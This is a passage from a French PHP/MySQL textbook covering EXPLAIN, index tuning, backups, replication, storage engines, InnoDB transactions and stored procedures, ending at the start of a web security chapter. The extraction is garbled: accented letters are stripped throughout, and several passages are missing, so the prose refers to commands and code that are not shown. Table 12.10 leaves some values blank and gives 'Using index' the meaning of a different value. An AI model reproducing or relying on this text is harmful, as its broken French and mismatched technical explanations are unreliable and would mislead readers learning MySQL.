estimation : MySQL ne peut pas deviner le rsultat final avant deffectuer rellement la
requte.
Naturellement, plus ce nombre est faible, mieux cest. Pour linstant, notre base de
donnes contient trs peu de donnes mais, lorsque la taille dune base commence
augmenter, une requte de ce genre dmultiplie le temps dexcution. Nous y reviendrons
un peu plus loin dans ce chapitre.
La colonne possible keys fournit la liste des cls que MySQL peut utiliser lors dune
opration de jointure ralise avec la table. Dans ce cas, vous pouvez voir que les cls
possibles sont en fait toutes les cls primaires.
La colonne key correspond soit la cl de la table MySQL utilise, soit NULL si aucune
cl na t employe. Vous remarquerez que, bien quil y ait des cl primaires possibles
pour les tables clients et commandes, aucune na t utilise dans cette requte.
La colonne key len indique la longueur de la cl utilise. Vous pouvez vous en servir
pour savoir si la cl na t utilise que partiellement. Cette information est importante
lorsque des cls sont composes de plusieurs colonnes. Dans le cas prsent, pour lequel
des cls ont t utilises, cest la totalit de la cl qui a t employe.
La colonne ref montre les colonnes utilises avec la cl pour slectionner des lignes
dans la table.
Enfin, la colonne Extra fournit toutes les autres informations concernant la manire
dont la jointure a t effectue. Le Tableau 12.10 numre quelques valeurs que vous
pourrez rencontrer dans cette colonne. Pour disposer de la liste complte, qui contient
plus de quinze possibilits, consultez le manuel de MySQL, http://dev.mysql.com/
doc/refman/5.1/en/using-explain.html.
Tableau 12.10 : Les valeurs possibles de la colonne Extra, qui apparat dans la sortie
de EXPLAIN
Valeur
Signification
Distinct
Not exists
Using filesort
Il faudra deux passes pour trier les donnes, ce qui prend naturellement
deux fois plus de temps.
Chapitre 12
319
Tableau 12.10 : Les valeurs possibles de la colonne Extra, qui apparat dans la sortie
de EXPLAIN (suite)
Valeur
Signification
Using index
Les tables sont lues par portions en utilisant le tampon de jointure, puis
les lignes sont extraites de ce tampon pour terminer la requte.
Using temporary
Using where
Il existe plusieurs manires de rsoudre les problmes mis en vidence par la sortie de
EXPLAIN.
Tout dabord, vrifiez les types des colonnes et assurez-vous que ce sont les mmes.
Ceci est particulirement valable pour la largeur des colonnes car les index ne peuvent
pas tre utiliss pour associer des colonnes si elles ont des largeurs diffrentes. Vous
pouvez rsoudre ce problme en modifiant le type des colonnes associer ou en intgrant ces informations lors de la conception de votre base de donnes.
Ensuite, vous pouvez demander loptimiseur de jointure dexaminer les distributions
des cls et donc de mieux optimiser les jointures laide de lutilitaire myisamchk ou de
linstruction ANALYZE TABLE, qui sont quivalents. Vous pouvez invoquer cet outil grce
la ligne suivante :
myisamchk --analyze
chemin_de_la_base_de_donnes_MySQL/table
Vous pouvez vrifier plusieurs tables en les indiquant toutes sur la ligne de commande
ou en utilisant la syntaxe suivante :
myisamchk --analyze chemin_de_la_base_de_donnes_MySQL/*.MYI
Pour vrifier toutes les tables de toutes les bases de donnes, utilisez la commande
suivante :
myisamchk --analyze chemin_du_rpertoire_de_donnes_MySQL/*/*.MYI
Vous pouvez galement numrer les tables dans une instruction ANALYZE TABLE
partir du moniteur MySQL :
analyze table clients, commandes, livres_commandes, livres;
Troisimement, vous pouvez envisager lajout dun nouvel index dans la table. Si la
requte est la fois lente et classique, cette opration est fortement recommande. Sil
sagit dune requte que vous ne serez plus amen effectuer, cette modification nen
vaut probablement pas la peine, dautant plus quelle pourrait ralentir dautres choses.
320
Partie II
Utilisation de MySQL
Si la colonne possible keys de EXPLAIN contient plusieurs valeurs NULL, vous pouvez
amliorer les performances de votre requte en ajoutant un index dans la table en question. Si la colonne que vous utilisez dans votre clause WHERE peut accepter un index,
vous pouvez vous servir de la commande suivante pour en crer un :
ALTER TABLE table ADD INDEX (colonne);
Chapitre 12
321
Vous pouvez galement vous servir de lutilitaire myisamchk pour trier lindex dune
table et les donnes conformment cet index, comme ceci :
myisamchk --sort-index --sort-records=1
chemin_du_rpertoire_de_donnes_MySQL/*/*.MYI
Chaque table doit tre dsigne par son nom et le type du verrou peut tre READ ou
WRITE. Pour une sauvegarde vous navez normalement besoin que dun verrou en
lecture (READ). Vous devez galement excuter une commande FLUSH TABLES afin de
vous assurer que toutes les modifications de vos index ont t crites sur le disque avant
de raliser une sauvegarde.
Pendant cette sauvegarde, les utilisateurs et les scripts pourront continuer excuter des
requtes ne demandant quun accs en lecture. Cependant, si votre serveur doit satisfaire un gros volume de requtes modifiant la base de donnes, comme des commandes
de clients, cette solution est viter.
322
Partie II
Utilisation de MySQL
Cette ligne de commande crira dans le fichier all.sql tout le code SQL ncessaire la
reconstruction de la base de donnes.
Ensuite, il est prfrable darrter pendant un moment le processus mysqld et de le redmarrer avec loption log bin[=fichierlog]. De cette faon, les mises jour seront
enregistres dans le fichier log, ce qui vous permettra de disposer des modifications
ralises sur la base de donnes depuis votre opration de sauvegarde (les fichiers log
doivent bien sr tre sauvegards lors de toutes les oprations de sauvegarde des
fichiers).
Une troisime mthode consiste utiliser le script mysqlhotcopy, que vous pouvez
appeler de la faon suivante :
mysqlhotcopy database /chemin/vers/sauvegarde
Chapitre 12
323
Implmenter la rplication
La rplication est une technique grce laquelle plusieurs serveurs de base de donnes
peuvent servir les mmes donnes. Il est ainsi possible dquilibrer la charge et
damliorer la fiabilit du systme. Si un systme est en panne, les autres peuvent
toujours tre interrogs. Une fois configure, la rplication peut galement tre utilise
pour raliser des sauvegardes.
Lide fondamentale consiste avoir un serveur matre et lui ajouter un certain
nombre desclaves. Chacun des esclaves offre une rplication en miroir du matre. Lorsque vous configurez initialement les esclaves, vous copiez un instantan de toutes les
donnes du matre ce moment prcis. Puis les esclaves demandent des mises jour de
la part du matre. Le matre transmet les dtails des requtes excutes grce son journal
binaire et les esclaves rappliquent ces requtes aux donnes.
Lapproche habituelle pour utiliser cette configuration consiste appliquer les requtes
en criture au matre et les requtes en lecture aux esclaves. Des architectures plus
complexes sont galement possibles, par exemple en incluant plusieurs matres, mais
nous ne traiterons ici que du cas de figure le plus courant.
Vous devez bien comprendre que les esclaves ne possdent gnralement pas des
donnes aussi jour que celles du matre. Cet tat de fait se produit dans nimporte
quelle base de donnes distribue.
Pour entamer la configuration dune architecture matre/esclaves, vous devez vous
assurer que la journalisation binaire est active sur le matre. Pour plus dinformations
ce sujet, consultez lAnnexe A.
Vous devez diter votre fichier my.ini ou my.cnf sur les serveurs matre et esclave. Sur le
matre, utilisez la configuration suivante :
[mysqld]
log-bin
server-id=1
Le premier rglage active la journalisation binaire (il devrait donc dj tre prsent ; sil
ne lest pas, ajoutez-le). Le second donne votre matre un identifiant unique. Chaque
esclave requiert galement un identifiant : vous devez donc ajouter une ligne semblable
aux fichiers my.ini/my.cnf sur chacun des esclaves. Assurez-vous que ces nombres
soient uniques ! Par exemple, votre premier esclave pourrait tre paramtr avec
server id=2, le second, avec server id=3, etc.
Configurer le matre
Sur le matre, vous devez crer un utilisateur pour la connexion des esclaves. Il existe
un niveau de privilge spcial pour les esclaves, appel esclave de rplication. Selon la
324
Partie II
Utilisation de MySQL
manire dont vous prvoyez de raliser le transfert de donnes initial, il se peut que
vous deviez temporairement accorder certains privilges supplmentaires.
Dans la plupart des cas, vous utiliserez un instantan de la base de donnes pour transfrer les donnes, et, dans ce cas, seul le privilge spcial esclave de rplication est
ncessaire. Si vous dcidez dutiliser la commande LOAD DATA FROM MASTER pour transfrer les donnes (voir la prochaine section), lutilisateur aura besoin des privilges
RELOAD, SUPER et SELECT, mais uniquement pour la configuration initiale. Selon le principe du moindre privilge expos au Chapitre 9, vous devrez rvoquer ces autres privilges une fois que le systme est oprationnel.
Crez un utilisateur sur le matre. Vous pouvez lui attribuer le nom et le mot de passe de
votre choix, mais ne perdez pas ces informations. Dans notre exemple, nous appellerons
cet utilisateur esc rep :
grant replication slave
on *.*
to esc_rep@% identified by motdepasse;
Le verrou en lecture est requis parce que vous devez enregistrer la position du serveur
dans son journal binaire lorsque linstantan est effectu. Vous pouvez le faire en excutant
linstruction suivante :
show master status;
Chapitre 12
325
Notez le fichier et la position. Vous aurez besoin de ces informations pour configurer les
esclaves.
Puis prenez votre instantan et dverrouillez les tables avec linstruction suivante :
unlock tables;
Si vous utilisez des tables InnoDB, le moyen le plus simple consiste utiliser loutil
InnoDB Hot Backup, propos par Innobase Oy ladresse http://www.innodb.com. Il
ne sagit pas dun logiciel libre et sa licence nest pas gratuite. Sinon vous pouvez utiliser la procdure dcrite ici et, avant de dverrouiller les tables, fermer le serveur
MySQL et copier le rpertoire entier pour la base de donnes que vous souhaitez rpliquer
avant de redmarrer le serveur et de dverrouiller les tables.
Configurer lesclave ou les esclaves
Deux options vous sont proposes pour configurer lesclave ou les esclaves. Si vous
avez effectu un instantan de votre base de donnes, commencez par linstaller sur le
serveur esclave.
Ensuite, excutez les requtes suivantes sur votre esclave :
change master to
master-host=serveur,
master-user=utilisateur,
master-password=motdepasse,
master-log-file=fichier_journal,
master-log-pos=pos_journal;
start slave;
Vous devez remplacer les donnes en italique. serveur correspond au nom du serveur
matre. utilisateur et motdepasse proviennent de linstruction GRANT que vous avez
excute sur le serveur matre. fichier journal et pos journal proviennent de la sortie
de linstruction SHOW MASTER STATUS que vous avez excute sur le serveur matre.
Votre systme de rplication doit maintenant tre oprationnel.
Si vous navez pas effectu dinstantan, vous pouvez charger les donnes depuis le
matre aprs avoir excut la requte prcdente en excutant linstruction suivante :
load data from master;
326
Partie II
Utilisation de MySQL
Vous pouvez galement consulter le livre MySQL 5, Guide officiel de Paul Dubois,
publi par les ditions Pearson Education France en 2006.
Pour la suite
Dans le chapitre suivant, nous examinerons certaines des fonctionnalits avances de
MySQL utiles pour la programmation dapplications web, comme le choix des moteurs
de stockage, les transactions et les procdures stockes.
13
Programmation MySQL avance
Dans ce chapitre, nous traiterons de sujets MySQL plus avancs, comme les types de
tables, les transactions et les procdures stockes.
Cette ligne lit les lignes du fichier newbooks.txt et les insre dans la table livres. Par
dfaut, les champs de donnes dans le fichier doivent tre spars par des tabulations et
entours dapostrophes, chaque ligne tant spare par un caractre de nouvelle ligne
(\n). Les caractres spciaux doivent tre protgs par un antislash ( \). Toutes ces
caractristiques sont configurables grce aux diverses options de linstruction LOAD ;
pour plus dinformations ce sujet, consultez le manuel MySQL.
Pour utiliser linstruction LOAD DATA INFILE, lutilisateur doit possder le privilge
FILE prsent au Chapitre 9.
328
Partie II
Utilisation de MySQL
stockage diffrent et les tables peuvent aisment tre converties pour passer dun type
un autre.
Pour choisir le type de table lorsque vous crez votre table, utilisez linstruction
suivante :
CREATE TABLE table TYPE=type ....
MyISAM. Il sagit du type par dfaut et cest celui que nous avons utilis jusqu
prsent dans ce livre. Il est fond sur le type ISAM (Indexed Sequential Access
Method, ou "mthode daccs squentiel index) traditionnel, une mthode standard pour stocker les enregistrements et les fichiers. MyISAM offre un certain
nombre davantages supplmentaires par rapport au type ISAM. Par comparaison
avec les autres moteurs de stockage, MyISAM est celui qui possde le plus doutils
pour la vrification et la rparation des tables. Les tables MyISAM peuvent tre
compresses et supportent la recherche plein texte. En revanche, elles ne permettent pas dexcuter des transactions de faon sre et ne reconnaissent pas les cls
trangres.
MEMORY (auparavant appele HEAP). Les tables de ce type sont stockes en
mmoire et leurs index sont hachs. Les tables MEMORY sont ainsi extrmement
rapides, mais vos donnes seront perdues si le serveur se plante. Ces caractristiques font des tables MEMORY des candidates idales pour le stockage de donnes
temporaires ou drives. Vous devez indiquer MAX ROWS dans linstruction CREATE
TABLE ; sinon ces tables pourraient consommer toute votre mmoire. En outre, elles
ne peuvent pas possder de colonnes de types BLOB, TEXT ou AUTO INCREMENT.
MERGE. Ces tables vous permettent de traiter une collection de tables MyISAM
comme une seule table lors de vos requtes. Il est ainsi possible de contourner les
limites relatives la taille de fichier maximale sur certains systmes dexploitation.
ARCHIVE. Ces tables permettent de stocker de gros volumes de donnes avec une
empreinte mmoire minimale. Les tables de ce type nautorisent que les requtes
INSERT et SELECT ; vous ne pouvez pas leur appliquer dinstructions DELETE, UPDATE
ou REPLACE. En outre, elles nutilisent pas dindex.
CSV. Ces tables sont stockes sur le serveur sous la forme dun unique fichier
contenant des valeurs spares par des virgules. Lavantage de ce type de table
napparat que lorsque vous devez consulter ou manipuler des donnes dans un
tableur comme Microsoft Excel.
InnoDB. Ces tables permettent deffectuer des transactions correctement
puisquelles fournissent les fonctionnalits COMMIT et ROLLBACK. Les tables InnoDB
savent galement grer les cls trangres. Pour certaines applications, tous ces
Chapitre 13
329
avantages peuvent compenser le fait quelles sont plus lentes que les tables
MyISAM.
Dans la plupart des applications web, vous utiliserez gnralement des tables MyISAM
ou InnoDB, ou une combinaison des deux.
Vous devriez choisir des tables MyISAM lorsque vous excutez un grand nombre
dinstructions SELECT ou INSERT (non entrelaces) sur une table car il sagit du moyen
le plus rapide de le faire. Pour de nombreuses applications web comme les catalogues
de produits, MyISAM est le meilleur choix. Vous devriez galement utiliser MyISAM
si vous avez besoin de fonctionnalits de recherche en plein texte. En revanche, utilisez
le moteur de stockage InnoDB lorsque les transactions sont importantes, par exemple
pour les tables stockant des donnes financires ou dans le cas o les instructions
INSERT et SELECT sont entrelaces, comme dans les forums en ligne.
Vous pouvez utiliser des tables MEMORY pour les tables temporaires ou pour implmenter des vues. Les tables MERGE sont utiles si vous devez grer des tables MyISAM
de trs grande taille.
Vous pouvez modifier le type dune table aprs sa cration laide dune instruction
ALTER TABLE, comme ceci :
alter table commandes type=innodb;
alter table livres_commandes type=innodb;
Dans la majeure partie de ce livre, nous avons utilis des tables MyISAM. Nous nous
concentrerons prsent sur lutilisation des transactions et leurs implmentations dans
les tables InnoDB.
Les transactions
Les transactions sont des mcanismes qui assurent la cohrence des bases de donnes,
notamment dans lventualit dune erreur ou dun plantage du serveur. Dans les sections
qui suivent, nous expliquerons ce que sont les transactions et comment les implmenter
avec InnoDB.
Comprendre la dfinition des transactions
Il convient tout dabord de dfinir le terme transaction. Une transaction est une requte
ou un ensemble de requtes dont il est garanti quil sera soit entirement excut sur la
base de donnes, soit pas excut du tout. La base de donnes restera donc toujours
dans un tat cohrent, que la transaction soit ralise ou non.
Pour mieux comprendre limportance de cette caractristique, considrez une base de
donnes doprations bancaires et imaginez que vous souhaitiez transfrer de largent
dun compte un autre. Cette action implique de supprimer largent dun compte et de
330
Partie II
Utilisation de MySQL
linsrer dans un autre, ce qui ncessite au moins deux requtes. Il est de la plus haute
importance que ces deux requtes soient excutes toutes les deux ou quelles ne soient
excutes ni lune ni lautre. Si vous retirez largent dun compte et quune panne de
courant survienne avant que vous ne layez plac dans lautre compte, que se passera-t-il ?
Largent aura disparu ?
Vous avez peut-tre dj entendu parler de la conformit ACID. ACID est un acronyme
dcrivant quatre conditions que les transactions doivent satisfaire :
m
m
m
Atomicit. Les transactions doivent tre atomiques. Autrement dit, elles doivent
tre soit entirement excutes, soit pas du tout excutes.
Cohrence. Les transactions doivent laisser la base de donnes dans un tat cohrent.
Isolation. Les transactions non termines ne doivent pas tre visibles pour les autres
utilisateurs de la base de donnes ; autrement dit, elles doivent rester isoles tant
quelles ne sont pas termines.
Durabilit. Une fois crites dans la base de donnes, les transactions doivent rester
permanentes ou durables.
Une transaction qui a t crite de manire permanente dans la base de donnes est dite
valide. Une transaction qui nest pas crite dans la base de donnes (de sorte que la
base de donnes est replace dans ltat qui tait le sien avant que la transaction ne
commence) est dite annule.
Utiliser des transactions avec InnoDB
Par dfaut, MySQL sexcute en mode autocommit, ce qui signifie que chaque instruction
que vous excutez est immdiatement crite (valide) dans la base de donnes. Si vous utilisez un type de table transactionnel, vous ne voudrez srement pas de ce comportement.
Pour dsactiver le mode autocommit dans la session courante, tapez :
set autocommit=0;
Lorsque vous avez fini dentrer les instructions qui constituent une transaction, vous
pourrez la valider dans la base de donnes en tapant simplement :
commit;
Si vous avez chang davis, vous pouvez revenir ltat prcdent de la base de
donnes en tapant :
rollback;
Chapitre 13
331
Tant que vous navez pas valid une transaction, cette dernire nest pas visible pour les
autres utilisateurs ni dans dans les autres sessions.
titre dexemple, excutez ces instructions ALTER TABLE sur votre base de donnes
livres si vous ne lavez pas dj fait en lisant la section prcdente.
alter table livres_commandes=innodb;
alter table commandes type=innodb;
Ces instructions convertissent deux des tables en tables InnoDB (vous pourrez les
reconvertir par la suite si vous le souhaitez, en excutant ces mmes instructions mais
avec type=MyISAM).
Puis ouvrez deux connexions la base de donnes livres. Dans une connexion, ajoutez
une nouvelle commande de livre la base de donnes :
insert into commandes values (5, 2, 69.98, 2008-06-18);
insert into livres_commandes values (5, 0-672-31697-8, 1);
(Si vous la voyez, cest srement parce que vous navez pas dsactiv le mode autocommit. Vrifiez et assurez-vous que vous avez bien converti la table au format
InnoDB. En effet, la transaction na pas encore t valide cest lillustration du principe disolation des transactions.)
prsent, revenez la premire connexion et validez la transaction :
commit;
Vous devriez maintenant pouvoir retrouver la ligne dans votre autre connexion.
332
Partie II
Utilisation de MySQL
Dans le cas de linsertion dune ligne dans la table livres commandes, vous devez
inclure un idcommande valide. Avec MyISAM, vous devez vrifier quelque part dans le
code de votre application la validit de lidentifiant idcommande que vous insrez. Grce
aux cls trangres dans InnoDB, vous pouvez laisser la base de donnes le soin de
raliser cette vrification pour vous.
Pour crer la table pour quelle utilise une cl trangre, vous pouvez changer linstruction
de cration de table comme suit :
create table livres_commandes
( idcommande int unsigned not null references commandes(idcommande),
isbn char(13) not null,
quantite tinyint unsigned,
primary key (idcommande, isbn)
) type=InnoDB;
Pour voir si la modification a fonctionn, essayez dinsrer une ligne avec un idcommande
qui nexiste pas dans la table commandes :
insert into livres_commandes values (77, 0-672-31697-8, 7);
Chapitre 13
333
Un exemple simple
Le Listing 13.1 dclare une procdure stocke.
Listing 13.1 : procedure_stockee_basique.sql Dclaration dune procdure stocke
# Exemple simple de procdure stocke
delimiter //
create procedure total_commandes (out total float)
BEGIN
select sum(montant) into total from commandes;
END
//
delimiter;
cre la procdure stocke elle-mme. Le nom de cette procdure est total commandes.
Elle possde un unique paramtre, appel total, qui correspond la valeur que vous
essayez de calculer. Le terme OUT indique que ce paramtre est pass en mode sortie
(cest la fonction qui le remplira).
Les paramtres peuvent galement tre dclars en mode IN, qui signifie que la valeur
est passe la procdure, ou en mode INOUT, qui signifie que la valeur est passe la
procdure mais que cette dernire peut la modifier.
Le terme float indique le type du paramtre. Ici, on renvoie un total de toutes les
commandes de la table commandes. Le type de la colonne montant de commandes tant
float, cest une valeur de ce type qui sera donc renvoye. Les types de donnes
autoriss dans les procdures stockes sont les mmes que les types de colonne autoriss.
334
Partie II
Utilisation de MySQL
Si vous souhaitez passer plusieurs paramtres, vous pouvez utiliser une liste de paramtres
spars par des virgules, comme en PHP.
Le corps de la procdure est entour par les instructions BEGIN et END. Ces instructions sont analogues aux accolades en PHP ( {}) car elles dlimitent un bloc
dinstructions.
Le corps de la procdure excute simplement une instruction SELECT. La seule diffrence par rapport une instruction normale tient ce que lon utilise la clause into
total afin de charger le rsultat de la requte dans le paramtre total.
Aprs avoir dclar la procdure, on redfinit le dlimiteur comme tant le pointvirgule :
delimiter;
Une fois que la procdure a t dclare, vous pouvez lappeler en utilisant le mot-cl
call, comme ici :
call total_commandes(@t);
Cette instruction appelle la procdure total commandes en lui passant une variable
pour rcuprer le rsultat. Vous devez ensuite examiner cette variable :
select @t;
Vous pouvez galement crer des fonctions. Une fonction accepte uniquement des paramtres en mode lecture et renvoie une seule valeur.
Comme le montre le Listing 13.2, la syntaxe de base est quasiment identique.
Listing 13.2 : fonction_basique.sql Dclaration dune fonction stocke
# syntaxe de base pour crer une fonction
delimiter //
create function prix_ttc(prix float) returns float
return prix * 1.1;
//
delimiter;
Chapitre 13
335
Comme vous pouvez le constater, cet exemple utilise le mot-cl function au lieu de
procedure, mais il y a galement deux autres diffrences.
Les paramtres nont pas besoin dtre prciss en tant que IN ou OUT car ils sont ncessairement tous en mode IN. Aprs la liste des paramtres, vous pouvez voir la clause
returns float. Elle indique le type de la valeur de retour. Ce type, ici aussi, peut tre
nimporte quel type MySQL valide.
Pour renvoyer une valeur, on utilise linstruction return, comme en PHP.
Notez que cet exemple nutilise pas les instructions BEGIN et END. Vous pourriez les utiliser, mais elles ne sont pas requises. Comme en PHP, si un bloc dinstructions ne contient
quune seule instruction, vous navez pas besoin den marquer le dbut et la fin.
Lappel dune fonction est un peu diffrent de lappel dune procdure. Vous pouvez
appeler une fonction stocke de la mme manire que vous appelleriez une fonction
prdfinie :
select prix_ttc(100);
Vous pouvez visualiser le code utilis pour dfinir les procdures et les fonctions stockes
laide des instructions suivantes :
show create procedure total_commandes;
ou
show create function prix_ttc;
ou
drop function prix_ttc;
Les procdures stockes offrent la possibilit dutiliser des structures de contrle, des
variables, des gestionnaires DECLARE (comme les exceptions) et des curseurs. Nous
allons examiner chacun de ces outils dans les sections qui suivent.
Variables locales
Vous pouvez dclarer des variables locales dans un bloc begin...end en utilisant une
instruction declare. Vous pourriez, par exemple, modifier la fonction prix ttc de
336
Partie II
Utilisation de MySQL
manire utiliser une variable locale pour stocker le taux de la taxe, comme le montre
le Listing 13.3.
Listing 13.3 : fonction_basique.sql Dclaration dune fonction stocke avec
des variables
# Syntaxe de base pour crer une fonction
delimiter //
create function prix_ttc (prix float) returns float
begin
declare taxe float default 0.10;
return prix * (1 + taxe);
end
//
delimiter;
Comme vous pouvez le constater, vous dclarez la variable avec declare suivi du nom
de la variable. La clause default est facultative et permet daffecter une valeur initiale
la variable. Vous pouvez ensuite utiliser la variable de faon classique.
Curseurs et structures de contrle
tudions un exemple plus complexe. Ici, on veut crire une procdure stocke qui
dtermine la commande dont le montant est le plus grand et en retourne lidentifiant
idcommande (on pourrait videmment obtenir le mme rsultat avec une simple requte,
mais nous voulons montrer ici comment utiliser les curseurs et les structures de
contrle). Le code de cette procdure stocke est prsent dans le Listing 13.4.
Listing 13.4 : structures_controle_curseurs.sql Utilisation de curseurs et de boucles
pour traiter un ensemble rsultat
# Procdure permettant de retrouver lidcommande du plus grand montant
# Peut tre ralise avec max, mais illustre les principes des procdures
# stockes
delimiter //
create procedure max_commande(out max_id int)
begin
declare cet_id int;
declare ce_montant float;
declare l_montant float default 0.0;
declare l_id int;
declare fini int default 0;
Chapitre 13
337
est appele gestionnaire declare. Elle ressemble une exception dans les procdures
stockes. Vous pouvez galement implmenter des gestionnaires continue et des
gestionnaires exit. Les gestionnaires continue, comme celui prsent ici, ralisent
laction indique puis poursuivent lexcution de la procdure, tandis que les gestionnaires exit quittent le bloc begin...end le plus proche.
La partie suivante du gestionnaire declare indique quel moment le gestionnaire sera
appel. Ici, il sera appel lorsque sqlstate 02000 est atteint, ce qui est un moyen
cryptique de signifier que lappel se fera lorsque aucune ligne nest trouve. Vous traitez un ensemble rsultat ligne par ligne et, lorsque vous tes court de lignes, ce
338
Partie II
Utilisation de MySQL
gestionnaire sera appel. Vous pourriez galement indiquer FOR NOT FOUND, ce qui est
quivalent. Les autres options sont SQLWARNING et SQLEXCEPTION.
Vient ensuite un curseur. Celui-ci sapparente assez un tableau. Il rcupre un
ensemble rsultat dune requte (comme celui renvoy par mysqli query()) et vous
permet de le traiter ligne par ligne (comme vous le feriez par exemple avec
mysqli fetch row()). Considrez le curseur suivant :
declare c1 cursor for select idcommande, montant from commandes;
Ce curseur est appel c1. Il ne sagit que dune dfinition de ce quil va contenir. La
requte ne sera pas encore excute.
La ligne suivante :
open c1;
excute la requte elle-mme. Pour obtenir chaque ligne de donnes, vous devez excuter une instruction fetch. Cela se fait dans une boucle repeat. Dans le cas prsent, la
boucle ressemble ceci :
repeat
...
until fini end repeat;
Notez que la condition (until fini) nest pas vrifie avant la fin. Les procdures stockes
supportent galement les boucles while de la forme suivante :
while condition do
...
end while;
Ces boucles ne possdent pas de conditions intgres, mais on peut les quitter laide
dune instruction leave;.
Notez quil nexiste pas de boucles for.
Toujours dans notre exemple, la ligne suivante du code extrait une ligne de donnes :
fetch c1 into cet_id, ce_montant;
Cette ligne rcupre une ligne partir de la requte du curseur. Les deux attributs
rcuprs par la requte sont stocks dans les deux variables locales spcifies.
On vrifie si une ligne a t rcupre puis on compare le montant de la boucle actuelle
avec le montant maximal stock, au moyen de deux instructions IF :
if not fini then
if ce_montant > l_montant then
Chapitre 13
339
Notez que les valeurs de variable sont dfinies au moyen de linstruction set.
Outre if...then, les procdures stockes disposent galement dune structure
if...then...else de la forme suivante :
if condition then
...
[elseif condition then]
...
[else]
...
end if
Pour revenir notre exemple, une fois que la boucle a termin, il reste un peu de
nettoyage faire :
close c1;
set max_id = l_id;
340
Partie II
Utilisation de MySQL
Pour la suite
Nous avons prsent trait les notions fondamentales de PHP et de MySQL. Au chapitre
suivant, nous aborderons le problme de la scurit des applications web.
III
Scurit
14
15
16
14
Scurit des applications web
Dans ce chapitre, nous continuerons notre tude de la scurit des applications en
examinant comment scuriser la totalit dune application web. Chaque composant doit
videmment tre protg contre les mauvaises utilisations ventuelles (accidentelles ou
volontaires) ; nous dvelopperons donc certaines stratgies de dveloppement pour
nous aider dans cette tche.
Stratgies de scurit
Lun des principaux intrts dInternet, son ouverture et laccessibilit rciproque
entre toutes les machines quil relie, est galement lun des pires cauchemars des
dveloppeurs dapplications web. Il y a tant dordinateurs relis entre eux quil est sr
que certains utilisateurs connects ont tout sauf de louables intentions. Avec tout ce
danger qui nous entoure, exposer tout le rseau une application grant des informations confidentielles comme des numros de cartes de crdits, des informations
bancaires ou personnelles peut sembler assez prilleux. Mais le commerce doit continuer et nous devons voir plus loin que la simple scurisation de nos applications :
nous devons dvelopper une approche pour prvoir et traiter les problmes de scurit. Lessentiel, ici, est de trouver une approche qui trouve un quilibre entre la
ncessit de nous protger et celle de raliser nos affaires et davoir une application
fonctionnelle.
Partir du bon pied
La scurit nest pas une fonctionnalit. Lorsque lon dveloppe une application web et
que lon choisit les fonctionnalits quon souhaite y inclure, la scurit ne fait pas partie
de la liste des tches et on ne charge pas un dveloppeur dy travailler pendant quelques
jours. La scurit doit faire partie intgrante de la conception et cest un effort sans fin
344
Partie III
Scurit
qui se poursuit mme aprs le dploiement de lapplication et lorsque lactivit de dveloppement a ralenti ou cess.
En ayant lesprit et en prvoyant ds le dbut les diffrents moyens par lesquels notre
systme peut tre attaqu et par o il pourrait tre compromis, nous pouvons concevoir
notre code afin de rduire la probabilit dapparition de ces problmes. Cela nous vite
galement de devoir tout modifier par la suite, lorsque nous nous serons finalement intresss au problme.
Trouver un quilibre entre la scurit et la facilit dutilisation
Lune des plus grandes inquitudes lors de la conception dun systme accessible aux
utilisateurs concerne leurs mots de passe. Les utilisateurs choisiront souvent des mots
de passe qui sont assez faciles dcouvrir laide dun programme spcialis, surtout
sils utilisent des mots issus du dictionnaire. Nous aimerions donc trouver un moyen
de rduire ce risque afin que le systme ne puisse pas tre attaqu par cette brche de
scurit.
Une solution possible consisterait faire en sorte que chaque utilisateur passe par
quatre botes de dialogue pour se connecter, chacune demandant un mot de passe
distinct. Nous pourrions aussi exiger quil change ces quatre mots de passe au moins
une fois par mois et lempcher de rutiliser un mot de passe prcdent. Notre systme
serait bien plus scuris et les pirates devraient passer beaucoup plus de temps pour y
pntrer.
Malheureusement, un tel systme serait si scuris que personne ne voudrait lutiliser :
un moment donn, tout utilisateur trouverait que cela ne vaut simplement pas la peine
de sembter avec toutes ces tracasseries. Cet exemple illustre le fait que, si la prise en
compte de la scurit est importante, il est tout aussi important de se soucier de son
impact sur lutilisation du systme. Un systme simple utiliser et peu scuris plaira
aux utilisateurs mais risquera galement de poser plus de problmes lis la scurit et
plus dinterruption de service. De mme, un systme tellement scuris quil est peine
utilisable attirera peu dutilisateurs et aura galement un effet trs ngatif sur votre
commerce.
En tant que concepteurs dapplications web, nous devons donc rechercher des moyens
damliorer la scurit sans compliquer de faon disproportionne lutilisation du
systme. Comme tout ce qui est li aux interfaces utilisateur, il nexiste pas de rgles
prtablies que nous pourrions suivre, et il faut faire appel son propre jugement, des
tests dutilisation et des groupes dutilisateurs reprsentatifs pour tudier leurs ractions
par rapport nos prototypes et nos choix de conception.
Chapitre 14
345
Surveiller la scurit
Lorsquon a fini de dvelopper une application web et quon la dploye sur des
serveurs en production pour que les gens commencent lutiliser, le travail nest pas
fini. Une partie de la scurit consiste surveiller le systme pendant quil fonctionne,
en examinant les fichiers journaux et les autres fichiers pour tudier son comportement
et la faon dont il est utilis. Ce nest quen examinant soigneusement le fonctionnement dun systme (ou en crivant et en excutant des outils pour raliser automatiquement une partie de cet audit) que lon peut dtecter les problmes de scurit
potentiels et les parties sur lesquelles il sera peut-tre ncessaire de passer plus de
temps pour dvelopper des solutions plus scurises.
La scurit, malheureusement, est une guerre continue qui, dans un certain sens, ne
pourra jamais tre gagne. Une vigilance constante, des amliorations apportes au
systme et une raction rapide tous les problmes sont le prix payer pour disposer
dune application web qui fonctionne correctement.
Une approche de base
Pour disposer dune solution de scurit qui soit la plus complte possible au prix
dun effort raisonnable, nous dcrirons une approche en deux parties. La premire
suit ce que nous avons dj expliqu : comment prvoir la scurit dune application
et y intgrer des fonctionnalits qui nous aiderons conserver cette scurit. Comme
nous aimons bien donner des noms tout, nous pourrions qualifier cette approche de
descendante.
La seconde partie, par contraste, pourrait tre appele approche ascendante. Au cours
de cette phase, nous examinons tous les composants de notre application, comme le
SGBDR utilis, le serveur lui-mme et le rseau sur lequel il se trouve. Nous vrifions
que non seulement nos interactions avec ces composants sont scurises, mais que leur
installation et leur configuration le sont galement. De nombreux produits sont fournis
avec des configurations qui les laissent vulnrables aux attaques, et il est prfrable de
connatre ces failles et de les combler.
346
Partie III
Scurit
Chapitre 14
347
Dni de service
Nous avons dj voqu le potentiel dvastateur des attaques par dni de service (DoS)
et de leurs cousines encore plus srieuses, les attaques par dni de service distribues
(DDoS). Avoir des serveurs inaccessibles pendant des heures, si ce nest plus, peut tre
une situation dont il est difficile de se remettre. Si vous rflchissez la frquentation
des principaux sites dInternet et que vous vous rendiez compte que vous vous attendez
